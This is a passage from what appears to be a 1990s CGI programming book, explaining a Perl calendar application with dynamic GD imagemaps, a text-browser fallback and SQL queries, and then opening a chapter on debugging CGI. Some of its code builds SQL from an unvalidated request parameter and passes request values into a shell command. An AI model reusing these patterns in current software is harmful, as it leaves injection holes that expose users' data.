    $html_string = join ("", keys %html_chars);
    $string =~ s/([$html_string])/$html_chars{$1}/go;
    return ($string);
}

The modify_appointment subroutine modifies the information in the database.

sub modify_appointment
{
    local ($modify_description, $id);
    ($modify_description = $CALENDAR{'modify_description'}) =~ s/(['"])/\\$1/g;
    $id = $CALENDAR{'id'};
    &open_database (undef, "update", <<End_of_Update);
update $database
set Description = ('$modify_description') where (ID = $id)
End_of_Update
    &print_location ();
}

The update SQL command modifies the description for the record in the calendar database. Then a server redirect is performed.

The imagemap display

Now let's change gears and discuss some of the more complicated subroutines, the first one being display_month_calendar. This subroutine either draws a calendar, or interprets the coordinates clicked by the user. Because we're trying to do a lot with this subroutine (and run it in several different situations), don't be surprised to find it rather complicated. There are three things the subroutine can do:

  • In the simplest case, this subroutine is called when no coordinate information has been passed to the program. It then creates a calendar covering a one-month display. The output_HTML routine is called to do this (assuming that the user has a graphics browser).

  • If coordinate information is passed, the subroutine figures out which date the user clicked and displays the appointments for that date, using the display_all_appointments subroutine.

  • Finally, if the user has a non-graphics browser, draw_text_calendar is called to create the one-month display. This display contains hypertext links to simulate the functions that an imagemap performs in the graphics version.

But more subtleties lie in the interaction between the subroutines. In order to generate a calendar for a particular month requested by the user, I have the program invoke itself in a somewhat complex way.

Let me start with our task here: to create an image dynamically. Most CGI programmers create a GIF image, store it in a file, and then create an imagemap based on that temporary file. This is inefficient and involves storing information in temporary files. What I do instead is shown in Figure 11.6.

Figure 11.6: Dynamic imagemap creation

[Graphic: Figure 11-6]

The program is invoked for the first time, and calls output_HTML. This routine sends the browser some HTML that looks like this:

<A HREF="/cgi-bin/calendar.pl/11/1995">
<IMG SRC="/cgi-bin/calendar.pl?month=11/1995&draw_imagemap" ISMAP></A>

Embedding an <IMG> tag in an <A> tag is a very common practice--an image with a hypertext link. But in most <IMG> tags, the SRC attribute points to a .gif file. Here, instead, it points back to our program.

So what happens when the browser displays the HTML? It sends a request back to the server for the image, and the server runs this program all over again. (As I said before, the program invokes itself.) This time, an image of a calendar is returned, and the browser happily completes the display.

You may feel that I'm playing games with HTML here, but it's all very legitimate and compatible with the way a web client and server work. And there's no need for temporary files with the resulting delays and cleanup.

Let me explain one more detail before we launch into the code. The decision about whether to display a calendar is determined by a field in the <IMG> tag you saw, the draw_imagemap field. When this field is passed, the program creates an image of a calendar. When the field is not passed, output_HTML is called. So we have to run the program once without draw_imagemap, let it call output_HTML, and have that subroutine run the program again with draw_imagemap set.

Once you understand the basic logic of the program, the display_month_calendar subroutine should be fairly easy to follow.

sub display_month_calendar
{
    local ($nongraphic_browsers, $client_browser, $clicked_point,
           $draw_imagemap, $image_date);
    $nongraphic_browsers = 'Lynx|CERN-LineMode';
    $client_browser = $ENV{'HTTP_USER_AGENT'} || $CALENDAR{'browser'};

We need to know whether the client is using a browser that displays graphics. Normally the name of the browser is passed in the HTTP_USER_AGENT environment variable, but it is not set if a program is executed as a result of server redirection. In that case, we can find out the browser through the query information, where we thoughtfully set a browser field earlier in the program. The line setting $client_browser is equivalent to:

if ($ENV{'HTTP_USER_AGENT'}) {
    $client_browser = $ENV{'HTTP_USER_AGENT'};
} else {
    $client_browser = $CALENDAR{'browser'};
}

The following code checks to see if a graphic browser is being used, and displays output in the appropriate format.

    if ($client_browser =~ /$nongraphic_browsers/) {
        &draw_text_calendar ();

For text browsers, the draw_text_calendar subroutine formats the information from the cal command and displays it.

    } else {
        $clicked_point = $CALENDAR{'clicked_point'};
        $draw_imagemap = $CALENDAR{'draw_imagemap'};

When the program is executed initially, the clicked_point and the draw_imagemap fields are null. As we'll see in a moment, this causes us to execute the output_HTML subroutine.

        if ($clicked_point) {
            $image_date = &get_imagemap_date ();
            &display_all_appointments ($image_date);

If the user clicks on the image, this program stores the coordinates in the variable $CALENDAR{`clicked_point'}. The get_imagemap_date subroutine returns the date corresponding to the clicked region. Finally, the display_all_appointments subroutine displays all the appointments for the selected date.

        } elsif ($draw_imagemap) {
            &draw_graphic_calendar ();

When draw_imagemap is set (because of the complicated sequence of events I explained earlier), the draw_graphic_calendar subroutine is executed and outputs the image of the calendar.

        } else {
            &output_HTML ();
        }
        }
}

In this else block, we know that we are running a graphics browser but that neither $clicked_point nor $draw_imagemap were set. That means we are processing the initial request, and have to call output_HTML to create the first image.

When displaying the current calendar, this program provides two hypertext links (back to this program) that allow the user to view the calendar for a month ahead or for the past month. The next subroutine returns these links.

sub get_next_and_previous
{
    local ($next_month, $next_year, $previous_month, $previous_year,
           $arrow_URL, $next_month_year, $previous_month_year);
    $next_month = $current_month + 1;
    $previous_month = $current_month - 1;
    if ($next_month > 12) {
        $next_month = 1;
        $next_year = $current_year + 1;
    } else {
        $next_year = $current_year;
    }
    if ($previous_month < 1) {
        $previous_month = 12;
        $previous_year = $current_year - 1;
    } else {
        $previous_year = $current_year;
    }

If the month number is either at the low or the high limit, the year is incremented or decremented accordingly.

    $arrow_URL = join ("", $ENV{'SCRIPT_NAME'},  "?",
                           "action=change",      "&",
                           "month=");
    $next_month_year = join ("", $arrow_URL, $next_month, "/", $next_year);
    $previous_month_year = join ("", $arrow_URL,
                                     $previous_month, "/", $previous_year);
    return ($next_month_year, $previous_month_year);
}

The two URLs returned by this subroutine are in the following format (assuming 12/1995 is the selected month):

http://some.machine/cgi-bin/calendar.pl?action=change&month=1/1996

and

http://some.machine/cgi-bin/calendar.pl?action=change&month=11/1995

Now, let's look at the subroutine that is executed initially, which displays the title and header for the document as well as an <IMG> tag that refers back to this script to create a graphic calendar.

sub output_HTML
{
    local ($script, $arrow_URL, $next, $previous, $left, $right);
    $script = $ENV{'SCRIPT_NAME'};
    ($next, $previous) = &get_next_and_previous ();
    $left  = qq|<A HREF="$previous"><IMG SRC="/icons/left.gif"></A>|;
    $right = qq|<A HREF="$next"><IMG SRC="/icons/right.gif"></A>|;
    &print_header
        ("Calendar for $current_month_name $current_year",
         "$left Calendar for $current_month_name $current_year $right");

The two links for the next and previous calendars are embedded in the document's header.

    print <<End_of_HTML;
<A HREF="$script/$current_month_year">
<IMG SRC="$script?month=$current_month_year&draw_imagemap" ISMAP></A>

I described this construct earlier; it creates an imagemap with a hypertext link that runs this script. There are interesting subtleties in both the HREF attribute and the SRC attribute.

The HREF attribute includes the selected month and year (e.g., "11/1995") as path information. That's because we need some way to get this information back to the program when the user clicks on the calendar. The imagemap uses the GET method (so we cannot use the input stream) and passes only the x and y coordinates of the mouse as query information. So the only other option left open to us is to include the month and year as path information.

The SRC attribute, as we said before, causes the whole program to run again. Thanks to the draw_imagemap field, a calendar is drawn.

<HR>
<A HREF="$script?action=full&year=$current_year">Full Year Calendar</A> <BR>
<A HREF="$script?action=search&type=form&month=$current_month_year">Search</A>
End_of_HTML
    &print_footer ();
}

The main calendar screen contains two links: one to display the full year calendar, and another one to search the database.

Let's look at the subroutine that draws a text calendar. I have no chance to indulge in fancy image manipulation here. Instead, I format the days of the month in rows and provide a hypertext link for each day.

sub draw_text_calendar
{
    local (@calendar, $big_line, $matches, @RESULTS, $header, $first_line,
           $no_spaces, $spaces, $loop, $date, @status, $script, $date_URL,
           $next, $previous);
    @calendar = `$cal $current_month $current_year`;
    shift (@calendar);
    $big_line = join ("", @calendar);

The calendar for the selected month is stored in an array. Here is what the output of the cal command looks like:

   November 1995
 S  M Tu  W Th  F  S
          1  2  3  4
 5  6  7  8  9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30

The first line of the output is removed, as we do not need it. Then the whole array is joined together to create one large string. This makes it easier to manipulate the information, rather than trying to modify different elements of the array.

    $matches = &open_database (*RESULTS, "select", <<End_of_Select);
select Day from $database
where (Month = $current_month) and
(Year  = $current_year)
End_of_Select

The RESULTS array consists of the Day field for all the appointments in the selected month. This array is used to highlight the appropriate dates on the calendar.

    &print_header ("Calendar for $current_month_name $current_year");
    $big_line =~ s/\b(\w{1,2})\b/$1    /g;
    $big_line =~ s/\n/\n\n/g;

These two statements expand the space between strings that are either one or two characters, and add an extra newline character. The regular expression is illustrated below.

[Graphic: Figure from the text]

Here is the what the output looks like after these two statements:

 S      M     Tu      W     Th      F      S
          1      2      3      4
 5      6      7      8      9     10     11
12     13     14     15     16     17     18
19     20     21     22     23     24     25
26     27     28     29     30

Because of the leading spaces before the "1," the alignment is off. This can be corrected by taking the difference in length between the line that contains the day names and the first line (without the leading spaces), and adding that number of spaces to align it properly. We do this in the somewhat inelegant code below.

    ($header) = $big_line =~ /( S.*)/;
    $big_line =~ s/ *(1.*)/$1/;
    ($first_line) = $big_line =~ //;
    $no_spaces = length ($header) - length ($first_line);
    $spaces = " " x $no_spaces;
    $big_line =~ s/\b1\b/${spaces}1/;

While the technique I've used here is not a critical part of the program, I'll explain it because it provides an interesting instance of text manipulation. Remember that $big_line contains several lines. Through regular expressions we are extracting two lines: one with names of days of the week in $header, and another with the first line of dates in $first_line. We then compare the lengths of these two lines to make them flush right.

The regular expression /( S.*)/ picks out the cal output's header, which is a line containing a space followed by an S for Sun. This whole line is stored in $header.

In the next two lines of code, we strip all the spaces from the beginning of the first week of the calendar and store the rest of the week in $first_line. The regular expression contains a space followed by an asterisk in order to remove all spaces. The (1.*) and $1 select the date 1 and all the other dates up to the end of the same line. In the next code statement, the // construct means "whatever was matched last in a regular expression." Since the last match was $1, $first_line contains a line of dates starting with 1.

Then, using length commands, we determine how many spaces we need to make the first week flush right with the header. The x command creates the number of spaces we need. Finally we put that number of spaces before the 1 on the first line.

    for ($loop=0; $loop < $matches; $loop++) {
        $date = $RESULTS[$loop];
            unless ($status[$date]) {
                $big_line =~ s|\b$date\b {0,1}|$date\*|;
            $status[$date] = 1;
        }
    }

This loop iterates through the RESULTS array, which we loaded through an SQL select command earlier in this subroutine. Each element of RESULTS is a date on which an appointment has been scheduled. For each of these dates, we search the cal output and add an asterisk ("*").

The substitute command deserves a little examination:

    s|\b$date\b {0,1}|$date\*|

Essentially, we want to replace the space that follows the date with an asterisk (\*). But the date may not be followed by a space. If it's at the end of the line (that is, if it falls on a Saturday) there will be no following space, and we want to just append the asterisk.

[Graphic: Figure from the text]

The {0,1} construct handles both cases. It means that $date must be followed by zero or one spaces. If there is a space, it's treated as part of the string and stripped off. If there is no space, that's fine too, because $date is still found and the asterisk is appended.

Here is what the output will look like (assuming there are appointments on the 5th, 8th, and 10th):

 S      M     Tu      W     Th      F      S
                      1      2      3      4
 5*     6      7      8*     9     10*    11
12     13     14     15     16     17     18
19     20     21     22     23     24     25
26     27     28     29     30

And that is what the calendar will look like in a text browser. But we still want to provide the same access that a graphic calendar does. The user must be able to select a date and view, add, or modify appointments. So now we turn each date in the calendar into a hypertext link.

    $script = $ENV{'SCRIPT_NAME'};
    $date_URL = join ("", $script,        "?",
                          "action=view",  "&",
                          "month=", $current_month_year);
    $big_line =~ s|\b(\d{1,2})\b|<A HREF="$date_URL&date=$1">$1</A>|g;

Below is the regular expression that we're searching for in the last line of the preceding code. It defines a date as one or two digits surrounded by word boundaries. (Spaces are recognized as word boundaries, and so are the beginnings and ends of lines.) We add <A> and </A> tags around the date. The URL in each A tag includes the name of this script, an action=view tag, the current month, and the particular date chosen.

[Graphic: Figure from the text]

Let's continue with the subroutine:

    ($next, $previous) = &get_next_and_previous ();
    print <<End_of_Output;
<UL>
<LI><A HREF="$previous">Previous Month!</A></LI> <LI><A HREF="$next">Next Month!</A></LI> </UL>
<PRE>
$big_line
</PRE>
<HR>
<A HREF="$script?action=full&year=$current_year">Full Year Calendar</A> <BR>
<A HREF="$script?action=search&type=form&month=$current_month_year">Search</A>
End_of_Output
    &print_footer ();
}

Four final links are displayed: two to allow the user to view the last or next month calendar, one to display the full year calendar, and one to search the database for information contained within appointments.

The display_all_appointments subroutine displays all of the appointments for a given date. It is invoked by clicking a region of the graphic calendar or by following a link on the text calendar.

sub display_all_appointments
{
    local ($date) = @_;
    local ($script, $matches, @RESULTS, $loop, $id, $keywords,
           $description, $display_URL);
    $matches = &open_database (*RESULTS, "select", <<End_of_Select);
select ID, Keywords, Description from $database
where (Month = $current_month) and
      (Year  = $current_year)  and
      (Day   = $date)
End_of_Select

The SQL statement retrieves the ID, Keywords, and Description for each appointment that falls on the specified date.

    &print_header ("Appointments",
          "Appointments for $current_month_name $date, $current_year");
    $display_URL = join ("", $ENV{'SCRIPT_NAME'},  "?",
                             "type=form",          "&",
                             "month=", $current_month_year);
    if ($matches) {
        for ($loop=0; $loop < $matches; $loop++) {
    $RESULTS[$loop] =~ s/([^\w\s\0])/sprintf ("&#%d;", ord ($1))/ge;
            ($id, $keywords, $description) = split (/\0/, $RESULTS[$loop], 3);
            $description =~ s/&#60;BR&#62;/<BR>/g;
            print <<End_of_Each_Appointment;
Keywords: <B>$keywords</B>
<BR>
Description:
$description
<P>
<A HREF="$display_URL&action=modify&id=$id">Modify!</A> <A HREF="$display_URL&action=delete&id=$id">Delete!</A>
End_of_Each_Appointment
            print "<HR>", "\n"    if ($loop < $matches - 1);
        }

If there are appointments scheduled for the given date, they are displayed. Each one has two links: one to modify the appointment description, and the other to delete it from the database.

    } else {
        print "There are no appointments scheduled!", "\n";
    }
    print <<End_of_Footer;
<HR>
<A HREF="$display_URL&action=add&date=$date">Add New Appointment!</A>
End_of_Footer
    &print_footer ();
}

If no appointments are scheduled for the date, a simple error message is displayed. Finally, a link allows the user to add appointments for the specified day.

Graphics

Up to this point, we have not discussed how the graphic calendar is created, or how the coordinates are interpreted on the fly. The next three subroutines are responsible for performing those tasks. The first one we will look at is a valuable subroutine that calculates various aspects of the graphic calendar.

sub graphics_calculations
{
    local (*GIF) = @_;

This subroutine expects a symbolic reference to an associative array as an argument. The purpose of the subroutine is to populate this array with numerous values that aid in implementing a graphic calendar.

    $GIF{'first_day'} = &get_first_day ($current_month, $current_year);

The get_first_day subroutine returns the day number for the first day of the specified month, where Sunday is 0 and Saturday is 6. For example, the routine will return the value 3 for November 1995, which indicates a Wednesday.

    $GIF{'last_day'}  = &get_last_day ($current_month, $current_year);

The get_last_day subroutine returns the number of days in a specified month. It takes leap years into effect.

    $GIF{'no_rows'} = ($GIF{'first_day'} + $GIF{'last_day'}) / 7;
    if ($GIF{'no_rows'} != int ($GIF{'no_rows'})) {
        $GIF{'no_rows'} = int ($GIF{'no_rows'} + 1);
    }

This calculates the number of rows that the calendar will occupy. We simply divide the number of days in this month by the number of days in a week, and round up if part of a week is left.

Now we are going to define some coordinates.

    $GIF{'box_length'} = $GIF{'box_height'} = 100;
    $GIF{'x_offset'}   = $GIF{'y_offset'} = 10;

The box length and height define the rectangular portion for each day in the calendar. You can modify this to a size that suits you. Nearly all calculations are based on this, so a modification in these values will result in a proportionate calendar. The x and y offsets define the offset of the calendar from the left and top edges of the image, respectively.

    $GIF{'large_font_length'} = 8;
    $GIF{'large_font_height'} = 16;
    $GIF{'small_font_length'} = 6;
    $GIF{'small_font_height'} = 12;

These sizes are based on the gdLarge and gdSmall fonts in the gd library.

    $GIF{'x'} = ($GIF{'box_length'} * 7)   +
                ($GIF{'x_offset'} * 2)     +
                $GIF{'large_font_length'};

The length of the image is based primarily on the size of each box length multiplied by the number of days in a week. The offset and the length of the large font size are added to this so the calendar fits nicely within the image.

    $GIF{'y'} = ($GIF{'large_font_height'} * 2)         +
                ($GIF{'no_rows'} * $GIF{'box_height'})  +
                ($GIF{'no_rows'} + 1)                   +
                ($GIF{'y_offset'} * 2)                  +
                $GIF{'large_font_height'};

The height of the image is based on the number of rows multiplied by the box height. Other offsets are added to this because there must be room at the top of the image for the month name and the weekday names.

    $GIF{'start_calendar'} = $GIF{'y_offset'}                +
                             (3 * $GIF{'large_font_height'});

This variable refers to the actual y coordinate where the calendar starts. If you were to subtract this value from the height of the image, the difference would equal the area at the top of the image where the titles (i.e., month name and weekday names) are placed.

    $GIF{'date_x_offset'} = int ($GIF{'box_length'} * 0.80);
    $GIF{'date_y_offset'} = int ($GIF{'box_height'} * 0.05);

These offsets specify the number of pixels from the upper right corner of a box to the day number.

    $GIF{'appt_x_offset'} = $GIF{'appt_y_offset'} = 10;

The appointment x offset refers to the number of pixels from the left edge of the box to the point where the appointment keywords are displayed. And the y offset is the number of pixels from the day number to a point where the appointment keywords are started.

    $GIF{'no_chars'} = int (($GIF{'box_length'}     -
                             $GIF{'appt_x_offset'}) /
                             $GIF{'small_font_length'}) - 1;

This contains the number of 6x12 font characters that will fit horizontally in each box, and is used to truncate appointment keywords.

    $GIF{'no_appts'} = int (($GIF{'box_height'}           -
                             $GIF{'large_font_height'}    -
                             $GIF{'date_y_offset'}        -
                             $GIF{'appt_y_offset'})       /
                             $GIF{'small_font_height'});
}

Finally, this variable specifies the number of appointment keywords that will fit vertically. Then next subroutine, get_imagemap_date, uses some of these constants to determine the exact region (and date) where the user click originated.

sub get_imagemap_date
{
    local (%DATA, $x_click, $y_click, $error_offset, $error,
           $start_y, $end_y, $start_x, $end_x, $horizontal, $vertical,
           $box_number, $clicked_date);
    &graphics_calculations (*DATA);
    ($x_click, $y_click) = split(/,/, $CALENDAR{'clicked_point'}, 2);

We start by calling the subroutine just discussed, graphics_calculations, to initialize coordinates and other important information about the calendar. The variable $CALENDAR{`clicked_point'} is a string containing the x and y coordinates of the click, as transmitted by the browser. The parse_query_and_form_data subroutine at the end of this chapter sets the value for this variable.

    $error_offset = 2;
    $error = $error_offset / 2;
    $start_y = $DATA{'start_calendar'} + $error_offset;
    $end_y = $DATA{'y'} - $DATA{'y_offset'} + $error_offset;
    $start_x = $DATA{'x_offset'} + $error_offset;
    $end_x = $DATA{'x'} - $DATA{'x_offset'} + $error_offset;

The error offset is defined as two pixels. This is introduced to make the clickable area the region just inside the actual calendar.

The $DATA{`start_calendar'} and $DATA{`x_offset'} elements of the array define the x and y coordinates where the actual calendar starts, as I discussed when listing the previous subroutine. We draw lines to create boxes starting at that point. Therefore, the y coordinate does not include the titles and headers at the top of the image.

    if ( ($x_click >= $start_x) && ($x_click <= $end_x) &&
         ($y_click >= $start_y) && ($y_click <= $end_y) ) {

This conditional ensures that a click is inside the calendar. If it is not, we send a status of 204 No Response to the browser.

If the browser can handle this status code, it will produce no response. Otherwise, an error message is displayed.

        $horizontal = int (($x_click - $start_x) /
                            ($DATA{'box_length'} + $error));
        $vertical = int (($y_click - $start_y) /
                        ($DATA{'box_height'} + $error));

The horizontal box number (starting from the left edge) of the user click is determined by the following algorithm:

[Graphic: Figure from the text]

The vertical box number (starting from the top) that corresponds to the user click can be calculated by the following algorithm:

[Graphic: Figure from the text]

To continue with the subroutine:

        $box_number = ($vertical * 7) + $horizontal;

The vertical box number is multiplied by seven--since there are seven boxes (i.e., seven days) per row--and added to the horizontal box number to get the raw box number. For instance, the first box in the second row would be considered raw box number 8. However, this will equal the date only if the first day of the month starts on a Sunday. Since we know this will not be true all the time, we have to take into effect what is really the first day of the month.

        $clicked_date = ($box_number - $DATA{'first_day'}) + 1;

The difference between the raw box number and the first day of the month is incremented by one (since the first day of the month returned by the get_first_date subroutine is zero based) to determine the date. We are still not out of trouble, because the calculated date can still be either less than zero, or greater than the last day of the month. How, you may ask? Say that a month has 31 days and the first day falls on Friday. There will be 7 rows, and a total of 42 boxes. If the user clicks in box number 42 (the last box of the last row), the $clicked_date variable above will equal 37, which is invalid. That is the reason for the conditional below:

        if (($clicked_date <= 0) ||
            ($clicked_date > $DATA{'last_day'})) {
            &return_error (204, "No Response", "Browser doesn't support 204");
        } else {
            return ($clicked_date);
        }
    } else {
        &return_error (204, "No Response", "Browser doesn't support 204");
    }
}

If the user clicked in a valid region, the date corresponding to that region is returned.

Now we can look at perhaps the most significant subroutine in this program. It invokes the gd graphics extension to draw the graphic calendar with the appointment keywords in the boxes.

sub draw_graphic_calendar
{
    local (%DATA, $image, $black, $cadet_blue, $red, $yellow,
           $month_title, $month_point, $day_point, $loop, $temp_day,
           $temp_x, $temp_y, $inner, $counter, $matches, %APPTS,
           @appt_list);
    &graphics_calculations (*DATA);
    $image = new GD::Image ($DATA{'x'}, $DATA{'y'});

A new image object is created, based on the dimensions returned by the graphics_calculations subroutine.

    $black      = $image->colorAllocate (0, 0, 0);
    $cadet_blue = $image->colorAllocate (95, 158, 160);
    $red        = $image->colorAllocate (255, 0, 0);
    $yellow     = $image->colorAllocate (255, 255, 0);

Various colors are defined. The background color is black, and the lines between boxes are yellow. All text is drawn in red, except for the dates, which are cadet blue.

    $month_title = join (" ", $current_month_name, $current_year);
    $month_point = ($DATA{'x'} -
                   (length ($month_title) *
                   $DATA{'large_font_length'})) / 2;
    $image->string (gdLargeFont, $month_point, $DATA{'y_offset'},
                    $month_title, $red);

The month title (e.g., "November 1995") is centered in red, with the $month_point variable giving the right amount of space on the left.

    $day_point = (($DATA{'box_length'} + 2) -
                  ($DATA{'large_font_length'} * 3)) / 2;

The $day_point variable centers the weekday string (e.g., "Sun") with respect to a single box.

    for ($loop=0; $loop < 7; $loop++) {
        $temp_day = (split(/,/, $weekday_names))[$loop];
        $temp_x = ($loop * $DATA{'box_length'}) +
                   $DATA{'x_offset'} +
                   $day_point + $loop;
        $image->string ( gdLargeFont,
                         $temp_x,
                         $DATA{'y_offset'} +
                         $DATA{'large_font_height'} + 10,
                         $temp_day,
                         $red );
    }

The for loop draws the seven weekday names (as stored in the $weekday_names global variable) above the first row of boxes.

    for ($loop=0; $loop <= $DATA{'no_rows'}; $loop++) {
        $temp_y = $DATA{'start_calendar'} +
                  ($loop * $DATA{'box_height'}) + $loop;
        $image->line ( $DATA{'x_offset'},
                       $temp_y,
                       $DATA{'x'} - $DATA{'x_offset'} - 1,
                       $temp_y,
                       $yellow );
    }

This loop draws the horizontal yellow lines, in effect separating each box.

    for ($loop=0; $loop <= 7; $loop++) {
        $temp_x = $DATA{'x_offset'} + ($loop * $DATA{'box_length'}) + $loop;
        $image->line ( $temp_x,
                       $DATA{'start_calendar'},
                       $temp_x,
                       $DATA{'y'} - $DATA{'y_offset'} - 1,
                       $yellow );
    }

The for loop draws yellow vertical lines, creating boundaries between the weekdays. We have finished the outline for the calendar; now we have to fill in the blanks with the particular dates and appointments.

    $inner = $DATA{'first_day'};
    $counter = 1;
    $matches = &appointments_for_graphic (*APPTS);

The appointments_for_graphic subroutine returns an associative array of appointment keywords for the selected month (keyed by the date). For example, here is what an array might look like:

$APPTS{'02'} = "See Professor";
$APPTS{'03'} = "ABC Enterprises\0Luncheon Meeting";

This example shows one appointment on the 2nd of this month, and two appointments (separated by a \0 character) on the 3rd.

In several nested loops--one for the rows, one for the days in each row, and one for the appointments on each day--we draw the date for each box and list the appointment keywords in the appropriate boxes.

    for ($outer=0; $outer <= $DATA{'no_rows'}; $outer++) {
        $temp_y = $DATA{'start_calendar'} + $outer +
                  ($outer * $DATA{'box_height'}) +
                  $DATA{'date_y_offset'};

This outermost loop iterates through the rows, based on $DATA{`no_rows'}. The $temp_y variable contains the y coordinate where the date should be drawn for a particular row.

        while (($inner < 7) && ($counter <= $DATA{'last_day'})) {
            $temp_x = $DATA{'x_offset'} +
                      ($inner * $DATA{'box_length'}) +
                      $inner + $DATA{'date_x_offset'};
            $image->string (gdLargeFont, $temp_x, $temp_y,
                            sprintf ("%2d", $counter),
                            $cadet_blue);

This inner loop draws the dates across a row. A while loop was used instead of a for loop because the number of dates across a row may not be seven (in cases when the month does not start on Sunday or does not end on Saturday). The variable $counter keeps track of the actual date that is being output.

            if ($APPTS{$counter}) {
                @appt_list = split (/\0/, $APPTS{$counter});
                for ($loop=0; $loop < $matches; $loop++) {
                    last if ($loop >= $DATA{'no_appts'});

If appointments exist for the date, a for loop is used to iterate through the list. The number of appointments that can fit in a box is governed by $DATA{`no_appts'}; others are ignored. But the user can click on the individual date to see all of them.

                    $image->string (gdSmallFont,
                                    $DATA{'x_offset'} +
                                    ($inner * $DATA{'box_length'} +
                                    $inner +
                                    $DATA{'appt_x_offset'}),
                                    $temp_y +
                                    $DATA{'large_font_height'}+
                                    ($loop * $DATA{'small_font_height'}) +
                                    $DATA{'appt_y_offset'},
                                    pack ("A$DATA{'no_chars'}",
                                    $appt_list[$loop]),
                                    $red);
                }
            }

The keywords for an appointment are displayed in the box. The pack operator truncates the string to fit in the box.

            $inner++;
            $counter++;
        }
            $inner = 0;
    }
    $| = 1;
    print "Content-type: image/gif", "\n";
    print "Pragma: no-cache", "\n\n";
    print $image->gif;
}

Finally, the program turns output buffering off and sends the image to the client for display.

The following subroutine returns an associative array containing the keywords for all the appointments for the selected month.

sub appointments_for_graphic
{
    local (*DATES) = @_;
    local ($matches, @RESULTS, $loop, $day, $keywords);
    $matches = &open_database (*RESULTS, "select", <<End_of_Select);
select Day, Keywords from $database where
       (Month = $current_month) and
       (Year  = $current_year)
End_of_Select

RESULTS now contains the number of elements indicated by $matches. Each element contains the date for an appointment followed by the keyword list for that appointment, as requested by our select statement. We need to put all the appointments for a given day into one element of our associative array DATES, which we will return to the caller.

    for ($loop=0; $loop < $matches; $loop++) {
        ($day, $keywords) = split (/\0/, $RESULTS[$loop], 2);
        if ($DATES{$day}) {
            $DATES{$day} = join ("\0", $DATES{$day}, $keywords);
        } else {
            $DATES{$day} = $keywords;
        }
    }

When a day in DATES already lists an appointment, we concatenate the next appointment to it with the null string (\0) as separator. When we find an empty day, we do not need to add the null string.

    return ($matches);
}

Finally, a count of the total number of appointments for the month are returned.

The last major subroutine we will discuss parses the form data. It is very similar to the parse_form_data subroutines used up to this point.

sub parse_query_and_form_data
{
    local (*FORM_DATA) = @_;
    local ($request_method, $query_string, $path_info,
           @key_value_pairs, $key_value, $key, $value);
    $request_method = $ENV{'REQUEST_METHOD'};
    $path_info = $ENV{'PATH_INFO'};
    if ($request_method eq "GET") {
        $query_string = $ENV{'QUERY_STRING'};
    } elsif ($request_method eq "POST") {
        read (STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
        if ($ENV{'QUERY_STRING'}) {
            $query_string = join ("&", $query_string, $ENV{'QUERY_STRING'});
        }

If the request method is POST, the information from the input stream and the data in QUERY_STRING are appended to $query_string. We have to do this because our program accepts information in an unusually complex way; some user queries pass both query strings and input streams.

    } else {
        &return_error ("500", "Server Error",
                      "Server uses unsupported method");
    }
    if ($query_string =~ /^\d+,\d+$/) {
        $FORM_DATA{'clicked_point'} = $query_string;
        if ($path_info =~ m|^/(\d+/\d+)$|) {
            $FORM_DATA{'month'} = $1;
        }

If the user clicks on the imagemap, the client sends a query string in the form of two integers ("x,y") to the CGI program. Here, we store the string right into $FORM_DATA{`clicked_point'}, where the get_imagemap_date routine can retrieve it. Previously, we set up our hypertext link so that the month name gets passed as extra path information (see the output_HTML subroutine), and here we store it in $FORM_DATA{`month'}. This value is checked for validity at the top of the program, just to make sure that there are no shell metacharacters.

    } else {
        if ($query_string =~ /draw_imagemap/) {
            $FORM_DATA{'draw_imagemap'} = 1;
        }

The $FORM_DATA{`draw_imagemap'} variable is set if the query contains the string "draw_imagemap". The rest of the code below is common, and we have seen it many times.

        @key_value_pairs = split (/&/, $query_string);
        foreach $key_value (@key_value_pairs) {
            ($key, $value) = split (/=/, $key_value);
            $value =~ tr/+/ /;
            $value =~ s/%([\dA-Fa-f][\dA-Fa-f])/pack ("C", hex ($1))/eg;
            if (defined($FORM_DATA{$key})) {
                $FORM_DATA{$key} = join ("\0", $FORM_DATA{$key}, $value);
            } else {
                $FORM_DATA{$key} = $value;
            }
        }
    }
}

The following subroutine returns the number of days in the specified month. It takes leap years into effect.

sub get_last_day
{
    local ($month, $year) = @_;
    local ($last, @no_of_days);
    @no_of_days = (31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);
    if ($month == 2) {
        if ( !($year % 4) && ( ($year % 100) || !($year % 400) ) ) {
            $last = 29;
        } else {
            $last = 28;
        }
    } else {
        $last = $no_of_days[$month - 1];
    }
    return ($last);
}

The get_first_day subroutine (algorithm by Malcolm Beattie <mbeattie@black.ox.ac.uk>) returns the day number for the first day of the specified month. For example, if Friday is the first day of the month, this subroutine will return 5. (The value is zero-based, starting with Sunday).

sub get_first_day
{
    local ($month, $year) = @_;
    local ($day, $first, @day_constants);
    $day = 1;
    @day_constants = (0, 3, 2, 5, 0, 3, 5, 1, 4, 6, 2, 4);
    if ($month < 3) {
        $year--;
    }
    $first = ($year + int ($year / 4) - int ($year / 100) +
         int ($year/400) + $day_constants [$month - 1] + $day) % 7;
    return ($first);
}

Previous | Home | Next
Introduction to Imagemaps | Book Index | Debugging and Testing CGI Applications
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 12] Debugging and Testing CGI Applications

CGI Programming on the World Wide Web

Previous Chapter 12 Next

12. Debugging and Testing CGI Applications

Contents:
Common Errors
Programming/System Errors
Environment Variables
Logging and Simulation
CGI Lint--A Debugging/Testing Tool
Set UID/GID Wrapper

The hardest aspect of developing CGI applications on the Web is the testing/debugging phase. The main reason for the difficulty is that applications are being run across a network, with client and server interaction. When there are errors in CGI programs, it is difficult to figure out where they lie.

In this chapter, we will discuss some of the common errors in CGI script design, and what you can do to correct them. In addition, we will look at a debugging/lint tool for CGI applications, called CGI Lint, written exclusively for this book.

12.1 Common Errors

Initially, we will discuss some of the simpler errors found in CGI application design. Most CGI designers encounter these errors at one time or another. However, they are extremely easy to fix.

CGI Script in Unrecognized Directory

Most servers require that CGI scripts reside in a special directory (/cgi-bin), or have certain file extensions. If you try to execute a script that does not follow the rules for a particular server, the server will simply retrieve and display the document, instead of executing it. For example, if you have the following two lines in your NCSA server resource map configuration file (srm.conf):

ScriptAlias  /my-cgi-apps/ /usr/local/bin/httpd_1.4.2/cgi-bin/
AddType      application/x-httpd-cgi   .cgi .pl

the server will execute only scripts with URLs that either contain the string "/my-cgi-apps," or have a file extension of .pl or .cgi. Take a look at the following URLs and figure out which ones the server will try to execute:

